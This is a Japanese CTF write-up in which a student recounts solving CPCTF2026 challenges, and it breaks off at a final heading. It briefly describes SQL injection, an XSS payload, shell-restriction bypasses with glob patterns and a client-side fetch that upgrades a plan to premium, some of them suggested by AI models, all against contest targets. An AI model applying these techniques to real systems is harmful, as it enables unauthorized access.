<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x9802;&#x70B9;&#x756A;&#x53F7;&#x304C;&#x5C0F;&#x3055;&#x3044;&#x65B9;&#x304B;&#x3089;&#x5927;&#x304D;&#x3044;&#x65B9;&#x306B;&#x8FBA;&#x3092;&#x5F35;&#x308B;&#x3088;&#x3046;&#x306B;&#x3059;&#x308C;&#x3070;&#x30B5;&#x30A4;&#x30AF;&#x30EB;&#x3092;&#x4F5C;&#x3089;&#x306A;&#x3044;&#x3088;&#x3046;&#x306B;&#x30B0;&#x30E9;&#x30D5;&#x3092;&#x69CB;&#x7BC9;&#x3059;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x308B;&#x3002;(&#x6642;&#x9593;&#x4E0D;&#x660E;)</p>
<h3 id="01-stringlv2ppc">01 String(Lv.2/PPC)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span> 0&#x3092;&#x53F3;&#x306B;&#x5E83;&#x3052;&#x3066;&#x3044;&#x304F;&#x3053;&#x3068;&#x3068;1&#x3092;&#x5DE6;&#x306B;&#x5E83;&#x3052;&#x3066;&#x3044;&#x304F;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x308B;&#x3002;00...11&#x306E;&#x3088;&#x3046;&#x306A;&#x9577;&#x3055;N&#x306E;&#x5217;&#x304C;&#x3042;&#x3063;&#x305F;&#x3068;&#x304D;&#x305D;&#x306E;&#x5217;&#x306F;N+1&#x30D1;&#x30BF;&#x30FC;&#x30F3;&#x306B;&#x5909;&#x5316;&#x3055;&#x305B;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x308B;&#x3002;&#x3053;&#x308C;&#x3092;&#x3044;&#x3044;&#x611F;&#x3058;&#x306B;&#x3084;&#x308B;&#x3068;&#x901A;&#x308B;&#x3002;&#xFF08;21&#x6642;44&#x5206;&#xFF09;</p>
<h3 id="digit-products-2lv3ppc">Digit Products 2(Lv.3/PPC)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x9762;&#x767D;&#x3044;&#x3002;N&#x6841;&#x306E;&#x6B63;&#x6574;&#x6570;X&#x3092;&#x7279;&#x5B9A;&#x3059;&#x308B;&#x554F;&#x984C;&#x3002;&#x30AF;&#x30A8;&#x30EA;&#x3092;&#x6295;&#x3052;&#x308B;&#x3068;2&#x6841;&#x306E;&#x7A4D;&#x3092;&#x77E5;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x308B;&#x3002;1&#x6841;&#x76EE;&#x306F;&#x5FC5;&#x305A;0&#x4EE5;&#x5916;&#x306A;&#x306E;&#x3067;&#x3001;1&#x6841;&#x76EE;&#x3092;&#x7279;&#x5B9A;&#x3059;&#x308B;&#x3053;&#x3068;&#x3092;&#x8003;&#x3048;&#x308B;&#x3002;&#x306A;&#x3093;&#x3084;&#x304B;&#x3093;&#x3084;&#x7F60;&#x304C;&#x3042;&#x308B;&#x304C;&#x3001;&#x305D;&#x308C;&#x3092;&#x9811;&#x5F35;&#x3063;&#x3066;&#x56DE;&#x907F;&#x3057;&#x3066;&#x3044;&#x304F;&#x3068;&#x901A;&#x308B;&#x3002;&#x306A;&#x3093;&#x3068;&#x3001;11WA&#x3057;&#x3066;&#x3044;&#x308B;&#x3002;(22&#x6642;19&#x5206;)</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://trap.jp/content/images/2026/04/image-24.png" class="kg-image" alt="CPCTF2026&#x53C2;&#x52A0;&#x8A18;/writeup&#xFF08;&#x65B0;&#x5165;&#x751F;2&#x4F4D;&#xFF09;" loading="lazy" width="646" height="907"><figcaption>&#x89E3;&#x3044;&#x3066;&#x3044;&#x308B;&#x3068;&#x304D;&#x306E;&#x3064;&#x3076;&#x3084;&#x304D;&#xFF08;Discord&#x306E;&#x81EA;&#x5206;&#x306E;&#x307F;&#x306E;&#x30B5;&#x30FC;&#x30D0;&#x30FC;&#x306B;&#x3066;&#xFF09;</figcaption></figure><!--kg-card-begin: markdown--><h3 id="gcd-knapsacklv3ppc">GCD Knapsack(Lv.3/PPC)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x4E3B;&#x5BA2;&#x8EE2;&#x5012;&#x3092;&#x3059;&#x308C;&#x3070;&#x3001;&#x91CD;&#x307F;&#x306E;&#x6700;&#x5927;&#x516C;&#x7D04;&#x6570;&#x304C;W&#x3067;&#x3042;&#x308B;&#x3088;&#x3046;&#x306A;&#x9078;&#x3073;&#x65B9;&#x306E;&#x4FA1;&#x5024;&#x306E;&#x7DCF;&#x548C;&#x3092;&#x6C42;&#x3081;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x308B;&#x3002;&#x3053;&#x306E;&#x6642;&#x70B9;&#x3067;6&#x4F4D;&#x306B;&#x3002;(22&#x6642;32&#x5206;)</p>
<h3 id="dualcastlv1crypto">DualCast(Lv.1/Crypto)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x3053;&#x306E;&#x3078;&#x3093;&#x3067;PPC&#x304B;&#x3089;&#x96E2;&#x308C;&#x3066;CTF&#x3092;&#x89E3;&#x304F;&#x3053;&#x3068;&#x306B;&#x3002;long_to_bytes&#x306A;&#x306E;&#x3067;bytes_to_long&#x3059;&#x308C;&#x3070;&#x3088;&#x3044;&#x3002;(22&#x6642;46&#x5206;)</p>
<h3 id="hiddenlv1reversing">Hidden(Lv.1/Reversing)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>strings&#x3092;&#x5B9F;&#x884C;&#x3059;&#x308B;&#x3068;&#x7B54;&#x3048;&#x304C;&#x51FA;&#x308B;&#x3002;(22&#x6642;49&#x5206;)</p>
<h3 id="killionairelv1pwn">Killionaire(Lv.1/Pwn)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>AI&#x306B;&#x76F8;&#x8AC7;&#x3057;&#x3066;&#x307F;&#x308B;&#x3068;&#x3001;&#x8CA0;&#x306E;&#x5024;&#x3092;&#x5165;&#x529B;&#x3059;&#x308B;&#x3068;&#x826F;&#x3044;&#x3068;&#x8A00;&#x308F;&#x308C;&#x308B;&#x3002;nc&#x30B3;&#x30DE;&#x30F3;&#x30C9;&#x3067;&#x63A5;&#x7D9A;&#x3057;&#x3001;&#x9069;&#x5F53;&#x306A;&#x30C7;&#x30AB;&#x3044;&#xFF08;&#x5C0F;&#x3055;&#x3044;&#xFF09;&#x8CA0;&#x306E;&#x5024;&#x3092;&#x5165;&#x308C;&#x308B;&#x3068;&#x7B54;&#x3048;&#x304C;&#x51FA;&#x529B;&#x3055;&#x308C;&#x308B;&#x3002;(22&#x6642;51&#x5206;)</p>
<h3 id="l0v3-pdflv1forensics">L0v3 PDF(Lv.1/Forensics)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>PDF&#x3092;&#x305D;&#x306E;&#x307E;&#x307E;&#x958B;&#x304F;&#x3068;dummy&#x3068;&#x8868;&#x793A;&#x3055;&#x308C;&#x308B;&#x3002;strings&#x3092;&#x5B9F;&#x884C;&#x3057;&#x3066;&#x307F;&#x308B;&#x3068;&#x7B54;&#x3048;&#x304C;&#x898B;&#x3048;&#x308B;&#x3002;(22&#x6642;53&#x5206;)</p>
<h3 id="miragelv1web">mirage(Lv.1/Web)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x30D2;&#x30F3;&#x30C8;&#x306E;&#x901A;&#x308A;DevTool&#x3092;&#x958B;&#x304F;&#x3068;&#x7B54;&#x3048;&#x304C;&#x66F8;&#x3044;&#x3066;&#x3042;&#x308B;&#x3002;(22&#x6642;54&#x5206;)</p>
<h3 id="sshlv1shell">ssh(Lv.1/Shell)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x30D2;&#x30F3;&#x30C8;&#x304C;&#x304B;&#x306A;&#x308A;&#x89AA;&#x5207;&#x3002;nc&#x30B3;&#x30DE;&#x30F3;&#x30C9;&#x3067;&#x63A5;&#x7D9A;&#x3057;&#x3001;cat flag.txt&#x3059;&#x308B;&#x3068;&#x7B54;&#x3048;&#x304C;&#x898B;&#x308C;&#x308B;&#x3002;(22&#x6642;56&#x5206;)</p>
<h3 id="buffer-visualizerlv2pwn">Buffer Visualizer(Lv.2/Pwn)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x3053;&#x306E;&#x6642;&#x70B9;&#x3067;Lv1&#x3092;&#x89E3;&#x304D;&#x7D42;&#x308F;&#x308A;&#x3001;&#x3053;&#x3053;&#x304B;&#x3089;Lv2&#x3002;AI&#x306B;&#x805E;&#x304F;&#x3068;&#x5165;&#x529B;&#x3059;&#x3079;&#x304D;&#x5024;&#x304C;&#x308F;&#x304B;&#x308B;&#x306E;&#x3067;&#x305D;&#x306E;&#x3088;&#x3046;&#x306B;&#x3059;&#x308B;&#x3068;&#x89E3;&#x3051;&#x308B;&#x3002;(23&#x6642;8&#x5206;)</p>
<h3 id="flag-in-flagslv2forensics">Flag in Flags(Lv.2/Forensics)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x691C;&#x7D22;/AI&#x306B;&#x76F8;&#x8AC7;&#x3059;&#x308B;&#x3068;&#x3001;&#x4FBF;&#x5229;&#x306A;&#x753B;&#x50CF;&#x89E3;&#x6790;&#x30C4;&#x30FC;&#x30EB;Aperi&apos;Solve&#x304C;&#x51FA;&#x3066;&#x304F;&#x308B;&#x3002;&#x305D;&#x308C;&#x306B;&#x6295;&#x3052;&#x3066;&#x773A;&#x3081;&#x308B;&#x3068;&#x3001;&#x5C0F;&#x3055;&#x304F;&#x30D5;&#x30E9;&#x30B0;&#x304C;&#x66F8;&#x3044;&#x3066;&#x3042;&#x308B;&#x306E;&#x3092;&#x898B;&#x3064;&#x3051;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x308B;&#x3002;&#x3082;&#x3063;&#x3068;&#x308F;&#x304B;&#x308A;&#x3084;&#x3059;&#x304F;&#x66F8;&#x304B;&#x308C;&#x3066;&#x3044;&#x308B;&#x304B;&#x306A;&#x3068;&#x601D;&#x3063;&#x3066;&#x3044;&#x305F;&#x306E;&#x3067;&#x898B;&#x3064;&#x3051;&#x308B;&#x306E;&#x306B;&#x6642;&#x9593;&#x304C;&#x304B;&#x304B;&#x3063;&#x305F;...(23&#x6642;14&#x5206;)</p>
<h3 id="hidden-recipelv2web">Hidden Recipe(Lv.2/Web)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>AI&#x3068;&#x76F8;&#x8AC7;&#x3059;&#x308B;&#x3002;SQL&#x30A4;&#x30F3;&#x30B8;&#x30A7;&#x30AF;&#x30B7;&#x30E7;&#x30F3;&#x306E;&#x624B;&#x6BB5;&#x3092;&#x8272;&#x3005;&#x63D0;&#x6848;&#x3055;&#x308C;&#x308B;&#x306E;&#x3067;&#x3001;&#x8272;&#x3005;&#x8A66;&#x3057;&#x3066;&#x3044;&#x308B;&#x3068;&#x7B54;&#x3048;&#x3092;&#x5F97;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x308B;&#x3002;(23&#x6642;40&#x5206;)</p>
<h3 id="very-excitinglv2crypto">Very Exciting(Lv.2/Crypto)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>AI&#x3068;&#x76F8;&#x8AC7;&#x3059;&#x308B;&#x3002;xor&#x3057;&#x3066;&#x5411;&#x3053;&#x3046;&#x306E;seed&#x3092;0&#x306B;&#x3059;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x3001;&#x305D;&#x308C;&#x3092;&#x3059;&#x308B;&#x3068;&#x6570;&#x5024;&#x3067;&#x7B54;&#x3048;&#x304C;&#x8FD4;&#x3063;&#x3066;&#x304F;&#x308B;&#x3002;&#x3053;&#x308C;&#x3092;&#x6570;&#x5024;&#x304B;&#x3089;&#x6587;&#x5B57;&#x306B;&#x76F4;&#x305B;&#x3070;&#x7B54;&#x3048;&#x304C;&#x5F97;&#x3089;&#x308C;&#x308B;&#x3002;&#xFF08;0&#x6642;16&#x5206;&#xFF09;</p>
<h3 id="107lv3crypto">1,0,7(Lv.3/Crypto)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>RSA&#x6697;&#x53F7;&#x3092;&#x89E3;&#x304F;&#x3089;&#x3057;&#x3044;&#x3002;&#x307B;&#x3068;&#x3093;&#x3069;&#x89E3;&#x304D;&#x65B9;&#x3092;&#x77E5;&#x3089;&#x306A;&#x3044;&#x306E;&#x3067;AI&#x306B;&#x805E;&#x3044;&#x3066;&#x307F;&#x308B;&#x3002;&#x30D2;&#x30F3;&#x30C8;&#x306B;N&#x306E;&#x5F62;&#x304C;&#x7279;&#x5FB4;&#x7684;&#x306A;&#x306E;&#x3067;&#x3053;&#x308C;&#x3092;&#x5229;&#x7528;&#x3059;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x308B;&#x3068;&#x66F8;&#x3044;&#x3066;&#x3042;&#x308B;&#x306E;&#x3067;&#x3001;&#x305D;&#x308C;&#x3092;&#x4F1D;&#x3048;&#x3064;&#x3064;&#x5FA9;&#x5143;&#x30B3;&#x30FC;&#x30C9;&#x3092;&#x66F8;&#x304F;&#x3088;&#x3046;&#x306B;&#x8981;&#x6C42;&#x3059;&#x308B;&#x3068;&#x5FA9;&#x5143;&#x30B3;&#x30FC;&#x30C9;&#x3092;&#x66F8;&#x3044;&#x3066;&#x304F;&#x308C;&#x308B;&#x3002;&#x3053;&#x3053;&#x3067;5&#x4F4D;&#x306B;&#x3002;(0&#x6642;32&#x5206;)</p>
<h3 id="brack-stack-query-2lv2ppc">Brack Stack Query 2(Lv.2/PPC)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>PPC&#x306B;&#x623B;&#x308B;&#x3002;&#x5FA9;&#x5143;&#x3067;&#x304D;&#x308B;&#x3088;&#x3046;&#x306A;&#x5F62;&#x3067;&#x30C7;&#x30FC;&#x30BF;&#x3092;&#x4FDD;&#x6301;&#x3057;&#x306A;&#x304C;&#x3089;&#x9032;&#x3081;&#x3066;&#x3044;&#x304F;&#x3068;&#x89E3;&#x3051;&#x308B;&#x3002;(1&#x6642;4&#x5206;)</p>
<h3 id="lets-remove-script-taglv2web">Let&apos;s Remove script tag(Lv.2/Web)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>AI&#x306B;&#x805E;&#x304F;&#x3068;&#x3001;&#x4E0A;&#x624B;&#x3044;&#x611F;&#x3058;&#x3067;&#x30D5;&#x30A1;&#x30A4;&#x30EB;&#x3092;&#x4F5C;&#x3063;&#x3066;&#x305D;&#x308C;&#x3092;&#x958B;&#x304F;&#x3068;&#x4EFB;&#x610F;&#x306E;JavaScript&#x30B3;&#x30FC;&#x30C9;&#x304C;&#x5B9F;&#x884C;&#x3067;&#x304D;&#x308B;&#x3053;&#x3068;(XSS Payload)&#x304C;&#x308F;&#x304B;&#x308B;&#x3002;AI&#x306E;&#x8A00;&#x3046;&#x901A;&#x308A;&#x306E;&#x624B;&#x9806;&#x3067;&#x5B9F;&#x884C;&#x3059;&#x308B;&#x3068;&#x30D5;&#x30E9;&#x30B0;&#x3092;&#x5F97;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x308B;&#x3002;(1&#x6642;11&#x5206;)</p>
<h3 id="omikujilv2reversing">Omikuji(Lv.2/Reversing)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x307E;&#x305A;&#x306F;file&#x30B3;&#x30DE;&#x30F3;&#x30C9;&#x3092;&#x5B9F;&#x884C;&#x3059;&#x308B;&#x3068;&#x3001;C++&#x3067;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30EB;&#x3055;&#x308C;&#x305F;&#x3082;&#x306E;&#x3067;&#x3042;&#x308B;&#x3053;&#x3068;&#x304C;&#x308F;&#x304B;&#x308B;&#x3002;AI&#x306B;&#x805E;&#x3044;&#x3066;&#x307F;&#x308B;&#x3068;C++&#x306E;&#x30C7;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30EB;&#x30C4;&#x30FC;&#x30EB;Ghidra&#x3092;&#x63D0;&#x6848;&#x3055;&#x308C;&#x308B;&#x305F;&#x3081;&#x3001;&#x305D;&#x308C;&#x3092;&#x30A4;&#x30F3;&#x30B9;&#x30C8;&#x30FC;&#x30EB;&#x3057;&#x3066;&#x5B9F;&#x884C;&#x3057;&#x3001;&#x89E3;&#x6790;&#x7D50;&#x679C;&#x306E;&#x5168;&#x6587;&#x3092;AI&#x306B;&#x518D;&#x3073;&#x6295;&#x3052;&#x308B;&#x3068;&#x30D5;&#x30E9;&#x30B0;&#x304C;&#x8FD4;&#x3063;&#x3066;&#x304F;&#x308B;&#x3002;(1&#x6642;26&#x5206;)</p>
<h3 id="ssh2lv2shell">ssh2(Lv.2/Shell)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x3044;&#x304F;&#x3064;&#x304B;&#x306E;&#x30B3;&#x30DE;&#x30F3;&#x30C9;&#x304C;&#x7981;&#x6B62;&#x3055;&#x308C;&#x3066;&#x3044;&#x308B;&#x72B6;&#x614B;&#x3067;cat flag.txt&#x3068;&#x540C;&#x3058;&#x52B9;&#x679C;&#x3092;&#x5F97;&#x308B;&#x30B3;&#x30DE;&#x30F3;&#x30C9;&#x3092;&#x63A2;&#x3059;&#x554F;&#x984C;&#x3002;AI&#x306B;&#x805E;&#x304F;&#x3068;grep&#x306A;&#x3069;&#x3092;&#x63D0;&#x6848;&#x3055;&#x308C;&#x308B;&#x306E;&#x3067;&#x5B9F;&#x884C;&#x3057;&#x3066;&#x307F;&#x308B;&#x3068;&#x30D5;&#x30E9;&#x30B0;&#x3092;&#x5F97;&#x3089;&#x308C;&#x308B;&#x3002;(1&#x6642;32&#x5206;)</p>
<h3 id="secret-recipelv2forensics">Secret Recipe(Lv.2/Forensics)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x30D2;&#x30F3;&#x30C8;&#x306B;&#x3082;&#x3042;&#x308B;&#x901A;&#x308A;&#x3001;Wireshark&#x3092;&#x30A4;&#x30F3;&#x30B9;&#x30C8;&#x30FC;&#x30EB;&#x3057;&#x3066;pcap&#x30D5;&#x30A1;&#x30A4;&#x30EB;&#x3092;&#x89E3;&#x6790;&#x3057;&#x3066;&#x307F;&#x308B;&#x3002;TCP Stream&#x3092;&#x8FFD;&#x3046;&#x3068;&#x753B;&#x50CF;&#x30D5;&#x30A1;&#x30A4;&#x30EB;&#x304C;&#x542B;&#x307E;&#x308C;&#x3066;&#x304A;&#x308A;&#x3001;&#x30C0;&#x30A6;&#x30F3;&#x30ED;&#x30FC;&#x30C9;&#x3057;&#x3066;&#x305D;&#x308C;&#x3092;&#x958B;&#x304F;&#x3068;&#x30D5;&#x30E9;&#x30B0;&#x304C;&#x66F8;&#x304B;&#x308C;&#x3066;&#x3044;&#x308B;&#x3002;(2&#x6642;3&#x5206;)</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="zlv2web">Z(Lv.2/Web)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x4F8B;&#x306E;&#x3054;&#x3068;&#x304F;AI&#x306B;&#x76F8;&#x8AC7;&#x3057;&#x3066;&#x307F;&#x308B;&#x3002;&#x958B;&#x767A;&#x8005;&#x30C4;&#x30FC;&#x30EB;&#x306E;&#x30B3;&#x30F3;&#x30BD;&#x30FC;&#x30EB;&#x304B;&#x3089;fetch&#x3067;plan&#x3092;plemium&#x306B;&#x5207;&#x308A;&#x66FF;&#x3048;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x3001;&#x30D5;&#x30E9;&#x30B0;&#x3092;&#x5F97;&#x3089;&#x308C;&#x308B;&#x3002;(2&#x6642;11&#x5206;)</p>
<h3 id="insert-mazelv3ppc">Insert Maze(Lv.3/PPC)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x3053;&#x306E;&#x30BF;&#x30A4;&#x30DF;&#x30F3;&#x30B0;&#x3088;&#x308A;&#x3082;&#x524D;&#x306B;&#x554F;&#x984C;&#x3092;&#x8AAD;&#x3093;&#x3067;&#x306A;&#x3093;&#x3068;&#x306A;&#x304F;&#x554F;&#x984C;&#x6982;&#x8981;&#x3092;&#x628A;&#x63E1;&#x3057;&#x3066;&#x3044;&#x305F;&#x3002;insert&#x3059;&#x308B;&#x64CD;&#x4F5C;&#x306F;2&#x56DE;&#x4F7F;&#x3048;&#x3070;&#x78BA;&#x5B9F;&#x306B;&#x30B4;&#x30FC;&#x30EB;&#x306B;&#x81F3;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x308B;&#x306E;&#x3067;&#x3001;H+W&#x304C;&#x7B54;&#x3048;&#x306E;&#x4E0A;&#x754C;&#x3002;insert&#x3092;1&#x5EA6;&#x3082;&#x4F7F;&#x308F;&#x305A;&#x306B;&#x30B4;&#x30FC;&#x30EB;&#x3059;&#x308B;&#x65B9;&#x6CD5;&#x306F;&#x5358;&#x306B;BFS&#x3092;&#x3059;&#x308C;&#x3070;&#x6C42;&#x3081;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x308B;&#x3002;&#x554F;&#x984C;&#x306F;insert&#x3092;1&#x5EA6;&#x3060;&#x3051;&#x4F7F;&#x3046;&#x30D1;&#x30BF;&#x30FC;&#x30F3;&#x3002;&#x30B4;&#x30FC;&#x30EB;&#x3068;&#x540C;&#x3058;&#x884C;&#x307E;&#x305F;&#x306F;&#x5217;&#x306B;&#x3044;&#x308B;&#x3068;&#x304D;&#x306F;&#x305D;&#x3053;&#x304B;&#x3089;insert&#x3092;&#x4F7F;&#x3048;&#x3070;&#x305F;&#x3069;&#x308A;&#x7740;&#x304F;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x308B;&#x306E;&#x3067;&#x3001;&#x305D;&#x308C;&#x3092;&#x5B9F;&#x88C5;&#x3057;&#x3066;&#x63D0;&#x51FA;&#x3059;&#x308B;&#x3082;WA&#x3002;<br>
<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x7D30;&#x304B;&#x3044;&#x6761;&#x4EF6;&#x3092;&#x5834;&#x5408;&#x5206;&#x3051;&#x3057;&#x3066;&#x8A70;&#x3081;&#x308B;&#x306E;&#x306F;&#x826F;&#x304F;&#x306A;&#x3055;&#x305D;&#x3046;&#x306A;&#x306E;&#x3067;&#x30B9;&#x30DE;&#x30FC;&#x30C8;&#x306A;&#x89E3;&#x6CD5;&#x3092;&#x8003;&#x3048;&#x308B;&#x3002;&#x30DE;&#x30B9;&#x76EE;&#x3092;2&#x500D;&#x3057;&#x3066;&#x3001;insert&#x64CD;&#x4F5C;&#x3092;&#x6700;&#x521D;&#x304B;&#x3089;&#x5168;&#x884C;&#x5168;&#x5217;&#x306B;&#x5BFE;&#x3057;&#x3066;&#x4F7F;&#x7528;&#x3057;&#x3066;&#x304A;&#x304F;&#x3053;&#x3068;&#x306B;&#x3059;&#x308B;&#x3002;&#x3053;&#x306E;&#x3068;&#x304D;&#x3001;&#x5947;&#x6570;&#x756A;&#x76EE;&#x306E;&#x884C;,&#x5217;&#x304B;&#x3089;&#x306F;2&#x30DE;&#x30B9;&#x5148;&#x306B;&#x79FB;&#x52D5;&#x3067;&#x304D;&#x308B;&#x3001;&#x3068;&#x3044;&#x3046;&#x3075;&#x3046;&#x306B;&#x3059;&#x308B;&#x3068;&#x826F;&#x3044;&#x611F;&#x3058;&#x306B;&#x8EFD;&#x3044;&#x5B9F;&#x88C5;&#x3067;&#x89E3;&#x304F;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x308B;&#x3002;&#x3053;&#x306E;&#x6642;&#x70B9;&#x3067;3&#x4F4D;&#x306B;&#x3002;(2&#x6642;21&#x5206;)</p>
<h3 id="cpctf-jaillv3shell">CPCTF jail(Lv.3/Shell)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>C,P,T,F&#x304A;&#x3088;&#x3073;&#x8A18;&#x53F7;&#x306E;&#x307F;&#x3092;&#x4F7F;&#x3063;&#x3066;&#x304B;&#x3064;&#x6307;&#x5B9A;&#x306E;&#x6587;&#x5B57;&#x6570;&#x4EE5;&#x5185;&#x306E;&#x9069;&#x5207;&#x306A;&#x30B3;&#x30DE;&#x30F3;&#x30C9;&#x3092;&#x5B9F;&#x884C;&#x3057;&#x3001;flag.txt&#x3092;&#x8AAD;&#x3080;&#x554F;&#x984C;&#x3002;&#x7A7A;&#x767D;&#x3082;&#x4F7F;&#x3048;&#x306A;&#x3044;&#x306E;&#x304C;&#x30DD;&#x30A4;&#x30F3;&#x30C8;&#x3067;&#x3001;cat flag/flag.txt&#x3092;&#x5B9F;&#x884C;&#x3059;&#x308B;&#x305F;&#x3081;&#x306B;c?t f????f????t?t&#x306A;&#x3069;&#x3092;&#x5B9F;&#x884C;&#x3057;&#x305F;&#x3044;&#x306E;&#x3060;&#x304C;&#x305D;&#x308C;&#x304C;&#x3067;&#x304D;&#x306A;&#x3044;&#x3068;&#x3044;&#x3046;&#x3053;&#x3068;&#x3067;&#x3001;*&#x3092;&#x4F7F;&#x3063;&#x3066;&#x3046;&#x307E;&#x304F;&#x5F53;&#x305F;&#x308B;&#x306E;&#x3092;&#x76EE;&#x6307;&#x3059;&#x3053;&#x3068;&#x306B;&#x306A;&#x308B;&#x3002;&#x3053;&#x306E;&#x554F;&#x984C;&#x306F;AI&#x3067;&#x89E3;&#x304F;&#x306E;&#x304C;&#x5C11;&#x3057;&#x96E3;&#x3057;&#x304B;&#x3063;&#x305F;&#x3002;&#x306A;&#x305C;&#x306A;&#x3089;AI&#x306F;&#x6587;&#x5B57;&#x6570;&#x306E;&#x5236;&#x7D04;&#x3084;&#x4F7F;&#x3048;&#x308B;&#x6587;&#x5B57;&#x7A2E;&#x306E;&#x5236;&#x7D04;&#x3092;&#x53B3;&#x5BC6;&#x306B;&#x5B88;&#x3063;&#x3066;&#x304F;&#x308C;&#x306A;&#x3044;&#x3053;&#x3068;&#x304C;&#x3042;&#x308B;&#x304B;&#x3089;&#x3060;&#x3002;&#x305D;&#x3053;&#x3082;&#x3044;&#x3044;&#x611F;&#x3058;&#x306B;&#x8ABF;&#x6574;&#x3057;&#x3064;&#x3064;&#x3001;&#x3044;&#x308D;&#x3093;&#x306A;&#x30B3;&#x30DE;&#x30F3;&#x30C9;&#x3092;&#x8A66;&#x3057;&#x3066;&#x3044;&#x305F;&#x3089;&#x6700;&#x7D42;&#x7684;&#x306B;*&#x3060;&#x3051;&#x3067;&#x306A;&#x304F;$&#x3084;&lt;&#x3082;&#x4F7F;&#x3063;&#x3066;&#x306A;&#x3093;&#x3068;&#x304B;&#x30D5;&#x30E9;&#x30B0;&#x3092;&#x5F97;&#x308B;&#x3053;&#x3068;&#x304C;&#x51FA;&#x6765;&#x305F;&#x3002;&#x304B;&#x306A;&#x308A;&#x6642;&#x9593;&#x304C;&#x304B;&#x304B;&#x3063;&#x305F;&#x3002;(3&#x6642;17&#x5206;)</p>
<h3 id="hello-latex3lv3misc">Hello LaTeX3!!!(Lv.3/Misc)</h3>
